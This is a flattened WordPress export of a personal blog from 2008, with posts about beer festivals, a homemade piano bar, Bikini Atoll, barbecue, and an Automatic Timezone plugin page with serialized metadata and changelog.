http://ottodestruct.com/blog/?p=117 Paul has let the cat out of the bag on Garfield minus Garfield, I figured I'd post up a good one too. Photoshop Disasters is a blog that has the latest and greatest advertisements which, through the horrifically poor use of software photo editing programs, made terrible, terrible blunders in their images. Some of them are subtle. Most of them are not. Most of them are, in fact, so bad that you wonder how anybody could miss them. Been reading it for a couple weeks, and after looking at it, you kinda start to notice poor photoshoppery in everything you see. Walking around downtown and seeing advertising becomes a hilarious venture into the world of the insane. Hey, it's worth a look.]]> 117 2008-04-09 20:58:57 2008-04-10 01:58:57 open open one-of-my-new-favorite-sites publish 0 0 post 0 _edit_last 1 _edit_lock 1208374394 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} Just my luck... http://ottodestruct.com/blog/2008/just-my-luck/ Fri, 11 Apr 2008 16:04:05 +0000 http://ottodestruct.com/blog/2008/04/11/just-my-luck/
    Tennessee is having a sales tax holiday from April 25th through April 27th. I guess they do this for school supplies and clothing and such, but that would not stop me from taking advantage... except that I'm going to be in Raleigh, NC for the World Beer Festival that weekend.

    Oh well, I guess a weekend of quality beer drinking is way better than getting a new wardrobe on the cheap.

    Anybody else reading this going to the festival? Or any other beer festivals? Leave a comment, let me know.

    ]]>
    118 2008-04-11 11:04:05 2008-04-11 16:04:05 open open just-my-luck publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} 5762 liquorfairy@gmail.com http://www.theliquorfairy.com 74.229.184.85 2008-04-12 07:07:23 2008-04-12 12:07:23 1 0 0
    Piano open http://ottodestruct.com/blog/2008/look-at-what-dad-brought-me/img_1104/ Sun, 13 Apr 2008 21:28:21 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/04/img_1104.jpg 120 2008-04-13 16:28:21 2008-04-13 21:28:21 open open img_1104 inherit 119 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/04/img_1104.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/img_1104.jpg _wp_attachment_metadata a:6:{s:5:"width";i:2272;s:6:"height";i:1704;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/img_1104.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"img_1104-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:20:"img_1104-300x224.jpg";s:5:"width";i:300;s:6:"height";i:224;}}s:10:"image_meta";a:10:{s:8:"aperture";d:2;s:6:"credit";s:0:"";s:6:"camera";s:18:"Canon PowerShot G2";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1208125595;s:9:"copyright";s:0:"";s:12:"focal_length";i:7;s:3:"iso";i:0;s:13:"shutter_speed";d:0.0166666666666666664353702032030923874117434024810791015625;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Piano closed http://ottodestruct.com/blog/2008/look-at-what-dad-brought-me/img_1102/ Sun, 13 Apr 2008 21:28:38 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/04/img_1102.jpg 121 2008-04-13 16:28:38 2008-04-13 21:28:38 open open img_1102 inherit 119 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/04/img_1102.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/img_1102.jpg _wp_attachment_metadata a:6:{s:5:"width";i:2272;s:6:"height";i:1704;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/img_1102.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"img_1102-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:20:"img_1102-300x224.jpg";s:5:"width";i:300;s:6:"height";i:224;}}s:10:"image_meta";a:10:{s:8:"aperture";d:2;s:6:"credit";s:0:"";s:6:"camera";s:18:"Canon PowerShot G2";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1208125567;s:9:"copyright";s:0:"";s:12:"focal_length";i:7;s:3:"iso";i:0;s:13:"shutter_speed";d:0.0166666666666666664353702032030923874117434024810791015625;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Piano with keys http://ottodestruct.com/blog/2008/look-at-what-dad-brought-me/img_1103/ Sun, 13 Apr 2008 21:28:51 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/04/img_1103.jpg 122 2008-04-13 16:28:51 2008-04-13 21:28:51 open open img_1103 inherit 119 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/04/img_1103.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/img_1103.jpg _wp_attachment_metadata a:6:{s:5:"width";i:2272;s:6:"height";i:1704;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/img_1103.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"img_1103-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:20:"img_1103-300x224.jpg";s:5:"width";i:300;s:6:"height";i:224;}}s:10:"image_meta";a:10:{s:8:"aperture";d:2;s:6:"credit";s:0:"";s:6:"camera";s:18:"Canon PowerShot G2";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1208125580;s:9:"copyright";s:0:"";s:12:"focal_length";i:7;s:3:"iso";i:0;s:13:"shutter_speed";d:0.0166666666666666664353702032030923874117434024810791015625;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Look at what Dad brought me! http://ottodestruct.com/blog/2008/look-at-what-dad-brought-me/ Sun, 13 Apr 2008 21:45:11 +0000 http://ottodestruct.com/blog/?p=119 Closed Piano It looks good closed, but then you can break it open to show off the keyboard too (not working yet, but soon): Piano with keys showing And then, of course, you can whip out the full on bar: Open Bar Nice. Dad did a damn fine job, I have to say. The bottom section also is removable, to reveal more shelf space and such. Very cool, very good work. I'm extremely happy about how it worked out. Thanks Dad!]]> 119 2008-04-13 16:45:11 2008-04-13 21:45:11 open open look-at-what-dad-brought-me publish 0 0 post 0 _geo_location , _edit_lock 1208186137 _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 5776 mshaunwalker@aol.com 205.188.116.9 2008-04-16 21:22:01 2008-04-17 02:22:01 1 0 0 5766 liquorfairy@gmail.com http://www.theliquorfairy.com 74.229.184.85 2008-04-13 18:58:14 2008-04-13 23:58:14 1 0 0 5838 ventz@vpetkov.net http://vpetkov.net 129.10.63.189 2008-05-08 13:47:49 2008-05-08 18:47:49 1 0 0 Nukes are good for you! http://ottodestruct.com/blog/2008/nukes-are-good-for-you/ Tue, 15 Apr 2008 02:44:22 +0000 http://ottodestruct.com/blog/?p=123 Bye Bye Bikini Islands According to the NewScientist, the Bikini Atoll is making a comeback that was somewhat unexpected. After 50 years, the coral reefs have grown back and there's a thriving ecosystem underwater where the islands used to be. Now, I expect this is mostly because nobody has been diving there since the place got vaporized. I mean, who wants to see nice glowing fish and then come out only to find that you're now glowing as well? Still, it's probably safe for general usage. They say that the radiation levels are the same as any Australian city. Which isn't saying much, quite frankly. Any radiation the aussies pick up in their seafood is probably quickly flushed from their systems due to sheer levels of beer consumption. I'd dive the Bikini islands though. I think it'd be great. Although you have to stay away from the coconuts though, they're saying that those are radioactive as all hell. On the other hand, you could make nuclear Pina Coladas. Gotta be worth a try.]]> 123 2008-04-14 21:44:22 2008-04-15 02:44:22 open open nukes-are-good-for-you publish 0 0 post 0 _edit_last 1 _geo_location , _edit_lock 1208374270 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 5775 milorad@ivovic.net http://www.ivovic.net 211.28.207.33 2008-04-16 20:52:09 2008-04-17 01:52:09 1 0 0 6224 enorath@gmail.com http://www.josiahplatt.com 71.252.181.165 2008-06-05 13:34:57 2008-06-05 18:34:57 1 0 0 Bikini Island Blast http://ottodestruct.com/blog/2008/nukes-are-good-for-you/dn13668-1_700/ Tue, 15 Apr 2008 02:46:04 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/04/dn13668-1_700.jpg 124 2008-04-14 21:46:04 2008-04-15 02:46:04 open open dn13668-1_700 inherit 123 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/04/dn13668-1_700.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/dn13668-1_700.jpg _wp_attachment_metadata a:6:{s:5:"width";i:700;s:6:"height";i:425;s:14:"hwstring_small";s:23:"height='77' width='128'";s:4:"file";s:81:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/dn13668-1_700.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:25:"dn13668-1_700-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:25:"dn13668-1_700-500x303.jpg";s:5:"width";i:500;s:6:"height";i:303;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Going to miss the zombies! http://ottodestruct.com/blog/2008/going-to-miss-the-zombies/ Tue, 15 Apr 2008 19:26:50 +0000 http://ottodestruct.com/blog/2008/04/15/going-to-miss-the-zombies/
    Few posts back I relayed that I was going to a beer festival weekend after next weekend. Today, Paul posted more information about the big zombie attack ... and it's scheduled for that Friday.

    I saw the zombies last year when they did it. They come down Beale Street, and then make a left onto Main and come down to right around where I live. It was a lot of fun to watch last year, but a bit chilly out and so there was not a lot of people out on the streets. Since they do it during the South Main Art Trolley Tour, and it's probably going to be nice and warm out, then this seems like it will be a good one. You know, lots of carnage, riots, random destruction... followed by an afterparty.

    I'd even be interested in getting all zombied up myself if I was going to be here. Maybe I could be zombie bum.

    Oh well, I hope Paul gets a lot of good pictures.

    ]]>
    125 2008-04-15 14:26:50 2008-04-15 19:26:50 open open going-to-miss-the-zombies publish 0 0 post 0 _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Chicken Fried Bacon http://ottodestruct.com/blog/2008/more-bacon-goodness/cfb/ Fri, 18 Apr 2008 13:42:09 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/04/cfb.jpg 129 2008-04-18 08:42:09 2008-04-18 13:42:09 open open cfb inherit 126 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/04/cfb.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/cfb.jpg _wp_attachment_metadata a:6:{s:5:"width";i:500;s:6:"height";i:375;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:71:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/cfb.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:15:"cfb-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:15:"cfb-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} More bacon goodness http://ottodestruct.com/blog/2008/more-bacon-goodness/ Fri, 18 Apr 2008 13:52:13 +0000 http://ottodestruct.com/blog/?p=126 Chicken Fried Bacon (photo by carabou)

    Yes, chicken fried bacon. Bacon and fried, together at last! Truly, this is a glorious day in the cholesterol clogged hearts of all men. And for those of you who think that mixing it with a couple pounds of steak seems a bit insane, then I tell you sir, that you must see the following film, and learn the ways of the steak and bacon side item. http://www.youtube.com/watch?v=ZfbTO0GlONU Originally found here.]]>
    126 2008-04-18 08:52:13 2008-04-18 13:52:13 open open more-bacon-goodness publish 0 0 post 0 _edit_lock 1267033803 _geo_location , _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} _oembed_9304d1d344730d16d3f72c68f38744ba 6207 kowkiller@gmail.com http://www.kowkronicles.blogspot.com 99.156.97.215 2008-06-18 17:14:34 2008-06-18 22:14:34 1 0 0
    beer-fest-crew http://ottodestruct.com/blog/2008/beer-festivals-are-a-wonderful-invention/2008_0426setup0015/ Mon, 28 Apr 2008 18:17:30 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/04/2008_0426setup0015.jpg 135 2008-04-28 13:17:30 2008-04-28 18:17:30 open open 2008_0426setup0015 inherit 133 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/04/2008_0426setup0015.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1600;s:6:"height";i:1200;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:86:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/2008_0426setup0015.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:30:"2008_0426setup0015-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:30:"2008_0426setup0015-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}}s:10:"image_meta";a:10:{s:8:"aperture";d:2.79999999999999982236431605997495353221893310546875;s:6:"credit";s:10:"Picasa 3.0";s:6:"camera";s:13:"FinePix F50SE";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1209241214;s:9:"copyright";s:0:"";s:12:"focal_length";i:8;s:3:"iso";i:200;s:13:"shutter_speed";d:0.0018181818181818181802411604763847208232618868350982666015625;s:5:"title";s:0:"";}} _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/2008_0426setup0015.jpg btc_comment_counts a:0:{} btc_comment_summary a:0:{} mimosas http://ottodestruct.com/blog/2008/beer-festivals-are-a-wonderful-invention/n531132304_391922_5475/ Mon, 28 Apr 2008 18:27:22 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/04/n531132304_391922_5475.jpg 136 2008-04-28 13:27:22 2008-04-28 18:27:22 open open n531132304_391922_5475 inherit 133 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/04/n531132304_391922_5475.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/n531132304_391922_5475.jpg _wp_attachment_metadata a:6:{s:5:"width";i:604;s:6:"height";i:453;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:90:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/04/n531132304_391922_5475.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:34:"n531132304_391922_5475-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:34:"n531132304_391922_5475-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Beer festivals are a wonderful invention... http://ottodestruct.com/blog/2008/beer-festivals-are-a-wonderful-invention/ Mon, 28 Apr 2008 18:32:42 +0000 http://ottodestruct.com/blog/?p=133 The entire crew at the Raleigh Beer Festival Met some new people, had dozens of people compliment me on my choice of t-shirt (good choice dad!), and had a lot of quality brews. Notably good was the beer from Top of the Hill in Chapel Hill, NC. Their Blueberry Wheat was excellent, and I quite liked the Old Well White too. The Leaderboard Lager was quite good as well, albeit a very plain and simple beer. Something you could drink a lot of, a quality lager. I sampled most of their beers, and those really stood out to me. The Foothills brewery from Winston-Salem was excellent as well. I worked my way through their entire lineup that was there, and it was very good all around. The Pilot Mountain Pale Ale was extremely good for a simple brew, and their IPAs were awesome as well. The Hoppyum was quite hoppy in particular, but the double IPA that they had was extreme in this respect. I like IPA's, but after a few of them I feel like I've been chewing on grass for a while, so I appreciated their Pale Ale a bit more. Also, I'd been to the Dogfish Head booth a number of times already, and their 90 minute IPA had already done a number on me there. Mimosas The next day we got mimosas. The girls (and Rob) got theirs with pomegranate juice. I needed my OJ fix a bit too much for that sort of thing. Also, note to self, cherries have hard pits in them that are not tasty to crunch. Anyway, good time all around. Would have been perfect if Northwest had not screwed me over on the flight home to the tune of 3.5 hours worth of delay, but still I had a good time. Rob and Mandy's place is awesome, and I hope to go back sometime soon. If only to visit Top of the Hill and try all the rest of the excellent beers that I missed out on this trip. Plus, gotta try that pool out. :)]]> 133 2008-04-28 13:32:42 2008-04-28 18:32:42 open open beer-festivals-are-a-wonderful-invention publish 0 0 post 0 _edit_last 1 _geo_location , _edit_lock 1210004335 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 5828 liquorfairy@gmail.com http://www.theliquorfairy.com 65.212.114.226 2008-04-29 06:55:41 2008-04-29 11:55:41 1 0 0 5832 mshaunwalker@aol.com 205.188.116.9 2008-05-05 23:50:31 2008-05-06 04:50:31 1 0 0 Photos http://ottodestruct.com/blog/photos/ Wed, 30 Apr 2008 14:30:03 +0000 http://ottodestruct.com/blog/photos-11/ 144 2008-04-30 09:30:03 2008-04-30 14:30:03 closed open photos publish 0 4 page 0 _edit_lock 1219178277 _geo_location , _edit_last 1 _wp_page_template default btc_comment_counts a:0:{} btc_comment_summary a:0:{} Random Pictures http://ottodestruct.com/blog/photos/random-pictures/ Thu, 22 May 2008 14:18:56 +0000 158 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open random-pictures publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Great Decatur Beer Festival http://ottodestruct.com/blog/photos/great-decatur-beer-festival/ Thu, 22 May 2008 14:18:56 +0000 168 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open great-decatur-beer-festival publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Rapscallion Party IV http://ottodestruct.com/blog/photos/rapscallion-party-iv/ Thu, 22 May 2008 14:18:56 +0000 167 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open rapscallion-party-iv publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Liberty Bowl Parade http://ottodestruct.com/blog/photos/liberty-bowl-parade/ Thu, 22 May 2008 14:18:56 +0000 166 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open liberty-bowl-parade publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Snowing in Memphis http://ottodestruct.com/blog/photos/snowing-in-memphis/ Thu, 22 May 2008 14:18:56 +0000 165 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open snowing-in-memphis publish 144 0 page 0 _edit_lock 1228159022 _edit_last 1 _wp_page_template default aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} Fun at Sauces http://ottodestruct.com/blog/photos/fun-at-sauces/ Thu, 22 May 2008 14:18:56 +0000 164 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open fun-at-sauces publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Henry Rollins http://ottodestruct.com/blog/photos/henry-rollins/ Thu, 22 May 2008 14:18:56 +0000 163 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open henry-rollins publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Raleigh Beer Festival 2008 http://ottodestruct.com/blog/photos/raleigh-beer-festival-2008/ Thu, 22 May 2008 14:18:56 +0000 162 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open raleigh-beer-festival-2008 publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} aktt_notify_twitter no St. Pats 2008 http://ottodestruct.com/blog/photos/st-pats-2008/ Thu, 22 May 2008 14:18:56 +0000 161 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open st-pats-2008 publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Finished Piano http://ottodestruct.com/blog/photos/finished-piano/ Thu, 22 May 2008 14:18:56 +0000 160 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open finished-piano publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} BBQ Fest Mobile Pictures http://ottodestruct.com/blog/photos/bbq-fest-mobile-pictures/ Thu, 22 May 2008 14:18:56 +0000 159 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open bbq-fest-mobile-pictures publish 144 0 page 0 _edit_lock 1213982308 _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Mike's Beer Tasting http://ottodestruct.com/blog/photos/mikes-beer-tasting/ Thu, 22 May 2008 14:18:56 +0000 169 2008-05-22 08:18:56 2008-05-22 14:18:56 closed open mikes-beer-tasting publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} BBQ Festival http://ottodestruct.com/blog/2008/bbq-festival/ Thu, 22 May 2008 14:35:24 +0000 http://ottodestruct.com/blog/?p=157 So I haven't gotten around to writing in a while, but I have an excuse. I've been extremely busy. Last week was the Memphis in May World Championship BBQ Festival. This year, I joined the Ques Brothers team instead of just going to their tent and mooching off them. What this meant was a fair amount of work building the booth/tent/location, eating a lot of BBQ, drinking a lot of frosty beverage, and even bartending for a night. While I didn't manage to get the quality of pictures that Paul did, I did manage to snap a few shots on my cell phone here and there. You can find them on my Facebook page. For Paul's large, large number of pictures, check his PicasaWeb page. You'll find several of me drinking, dancing, and debauching the nights away. The important news is that the team won third place in the shoulder competition. I tasted a bit of this prize winning shoulder, and it was easily the best pork I've ever had. Amazing stuff. Our head cook, Willie, got 12th last year in his first year in the festival, and then moved it on up to 3rd in only his second year. This is basically unheard of. Many teams go for 10 or more years without breaking into the top ten. So, major props to the cook. And if you're in Chicago, go try his restaurant and tell him the Ques Brothers sent you, and congratulate him on his victory.]]> 157 2008-05-22 09:35:24 2008-05-22 14:35:24 open open bbq-festival publish 0 0 post 0 _geo_location , _edit_lock 1216834360 _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6163 ajith@exnol.com http://www.exnol.com 59.93.11.45 2008-06-13 01:35:02 2008-06-13 06:35:02 Just came by your blog after seeing your comment on mine. BTW nice template and layout. You did it yourself?]]> 1 0 0 WordPress Plugins http://ottodestruct.com/blog/wordpress-plugins/ Thu, 19 Jun 2008 18:39:49 +0000 http://ottodestruct.com/blog/?page_id=172 Automatic Timezone - Automatically adjust the timezone in your WordPress installation. No more messing around with Daylight Savings time! PHP Code Widget - Like the normal Text widget, but also works with PHP Code. The first, and still the simplest, PHP widget for WordPress. Classic Smilies - Replaces the new smilies in WordPress 2.9 with the original ones from WordPress 2.8. Gravatar Box - Adds the ability to have a JavaScript based gravatar detection and signup link right on the comments form. Simple Facebook Connect - A modular plugin system to allow you to integrate Facebook Connect into your WordPress blog. Requires WordPress 2.9 and up. Simple Twitter Connect - A modular plugin system to allow you to integrate Twitter functionality into your WordPress blog. Requires WordPress 2.9 and up. ]]> 172 2008-06-19 13:39:49 2008-06-19 18:39:49 closed closed wordpress-plugins publish 0 3 page 0 _edit_lock 1267720448 _wp_page_template default _edit_last 1 _geo_location , aktt_notify_twitter no btc_comment_counts a:0:{} btc_comment_summary a:0:{} _fb_post_id_profile 531132304_5003944009462 Automatic Timezone http://ottodestruct.com/blog/wordpress-plugins/automatic-timezone/ Thu, 19 Jun 2008 18:50:45 +0000 http://ottodestruct.com/blog/?page_id=173 Note: This plugin is no longer necessary in WordPress 2.8, because the functionality of it has been integrated into WordPress itself. If you've upgraded, you can remove this plugin. Plugin: [plugin name] Version: [plugin version] Last updated: [plugin updated_ago]. Downloaded: [plugin downloaded] times.

    Overview

    One of the things that has always annoyed me about WordPress is the need to adjust the settings every so often, for one reason or another. Major things like how things look are fine, but minor things like having to set it for daylight savings time, or figure out what timezone I'm in... the computer should figure that stuff out. So I wrote the Automatic Timezone plugin. It's simple, it's easy. WordPress normally requires you to set a date offset for the blog in terms of a numeric difference from GMT/UTC. Instead of that, this plugin uses the zoneinfo database, built into PHP 5 and most Linux systems. You just select a timezone instead. The advantage of this is that the database contains all that is needed for daylight savings time adjustments, and you don't have to manually change the clock twice a year anymore.

    Download Now

    Requirements

    Only one: PHP 5 and up or PHP 4 running on a Linux-based hosting service (sorry Windows PHP4 users... all 3 of you). I highly recommend that you use PHP versions 5.2 and up with WordPress. PHP 4 is dead. Ask your web host to upgrade now, or ask them how you can use PHP 5 on your website. Most hosts offer a way to do it.

    Features

    • Choose your timezone based on the standard zoneinfo method (by nearest city).
    • Automatically adjusts to daylight saving time.
    • Uses the built-in database of your server to determine DST rules. If the rules change in the future, your server will get updated and those rules will get updated automatically as well.

    Installation Instructions

    Unzip. Put automatic-timezone plugin directory into wp-content/plugins on your server. Activate the plugin. The plugin will check if it will work on your machine and it will refuse to activate if it won't work.

    Licensing

    This plugin is licensed under the GPL Version 2 only.

    Method to get support

    You are free to email me, however I am also a moderator at the WordPress.org support forums, so you'll find me there as well.

    FAQ:

    What is this list of cities? Where do I pick my Timezone?

    The zoneinfo database uses a method of timezone choices that most people may not be familiar with. Instead of picking a named timezone, you pick a major city close to you that shares your timezone. The reason for this is although there's 24 hours in the day, there's hundreds of different ways of dealing with daylight savings time around the world, and laws and such change these all the time. The zoneinfo database tracks these and stores each different set of settings in a different "named" timezone, named after an area, such as a city, that uses that set of rules. So instead of picking something like "Central Time" or "Greenwich Mean Time", you will choose a city. That determines what set of daylight savings rules you will use. For your convienence, the cities are grouped by continent.

    The plugin won't activate, it says it can't find a list of timezones.

    The plugin won't work on some systems. Notably, Windows servers running PHP 4. Upgrade to PHP 5.

    It's not working, and I'm using PHP 4 on a non-Windows system.

    This plugin works best with PHP 5.1 and up, but it should also work okay on some PHP 4 systems with Linux/Unix hosting. If it doesn't, email me and I'll try to help. It does try a few different methods, but if it won't activate, then it also won't work, so don't try to force it or anything.

    Download Now

    ]]>
    173 2008-06-19 13:50:45 2008-06-19 18:50:45 open open automatic-timezone publish 172 0 page 0 _edit_lock 1263489677 _edit_last 1 _wp_page_template default aktt_notify_twitter no _geo_location , comment_count 4 trackback_count 4 btc_comment_counts a:0:{} btc_comment_summary a:0:{} _aktt_hash_meta plugin automatic-timezone plugin-info a:41:{s:4:"name";s:18:"Automatic Timezone";s:4:"slug";s:18:"automatic-timezone";s:7:"version";s:5:"1.7.1";s:6:"author";s:42:"Otto";s:11:"profile_url";s:50:"http://wordpress.org/extend/plugins/profile/otto42";s:12:"contributors";s:67:"Otto";s:8:"requires";s:3:"2.5";s:6:"tested";s:5:"2.7.1";s:13:"compatibility";s:7:"Unknown";s:10:"rating_raw";s:4:"92.8";s:11:"num_ratings";s:2:"14";s:14:"downloaded_raw";s:4:"7026";s:11:"updated_raw";s:10:"2008-12-04";s:12:"homepage_url";s:66:"http://ottodestruct.com/blog/wordpress-plugins/automatic-timezone/";s:11:"description";s:772:"

    WordPress normally requires you to set a date offset for the blog in terms of a numeric difference from GMT/UTC. This plugin uses the zoneinfo database, built into PHP 5 and most Linux systems, to allow you to select a timezone instead. The advantage of this is that the database contains all that is needed for daylight savings time adjustments, and you don't have to manually change the clock twice a year anymore.

    THIS PLUGIN IS NO LONGER NECESSARY.

    WordPress 2.8 now includes the functionality from this plugin in the core code. Only versions of WordPress prior to 2.8 will derive any benefit from this plugin.

    If you are using WordPress 2.8 or up, you can delete this plugin entirely.

    ";s:12:"installation";s:272:"
    1. Upload timezone.php to the /wp-content/plugins/automatic-timezone/ directory
    2. Activate the plugin through the 'Plugins' menu in WordPress
    3. Pick your timezone on the Plugins -> Timezone Configuration screen.
    ";s:11:"screenshots";s:748:"
    1. automatic-timezone screenshot 1

      The configuration screen.

    2. automatic-timezone screenshot 2

      The list of cities on the configuration screen.

    3. automatic-timezone screenshot 3

      The Timezone setting in Settings->General. This message will only change when it is working and you have selected a timezone.

    ";s:9:"changelog";s:1597:"

    1.7.1

    • Fixed translation functionality for special activation case. Never assume a global when you're unsure. :)

    1.7

    • Add an icon for the menu item for 2.7 and up installations.
    • Add uninstall functionality for 2.7 and up installations.

    1.6

    • Added link to Settings page from plugin display page. Looks nice and clean in 2.7. It would be nice if all plugins did this, could get rid of a lot of settings pages.

    1.5

    • Added two suggested features:
    • Display of the current time and adjusted time on the config screen.
    • Comment at the end explaining the lack of closing PHP tags (since some people think that is an error, when it's not)

    1.4

    • Got a report of a PHP 5.1.4 install which lacked the DateTimeZone class. Modified the code to check for that and to try to use the PHP 4 methodology in that case.

    1.3

    • Okay, so now internationalization support should actually be working. :)

    1.2

    • Add internationalization support. First stab at this sort of thing, let me know if I got anything wrong.

    1.1

    • Moved configuration page to Options menu, for MU compatibility. I still think that it should be in the Plugins menu, but if that's whatit takes to be compatible, then so be it. MU should be fixed in this respect.
    • Added lots of comments in the code.
    • Minor cleanups.

    1.0

    • Initial Release
    ";s:3:"faq";s:2094:"

    What are these cities?

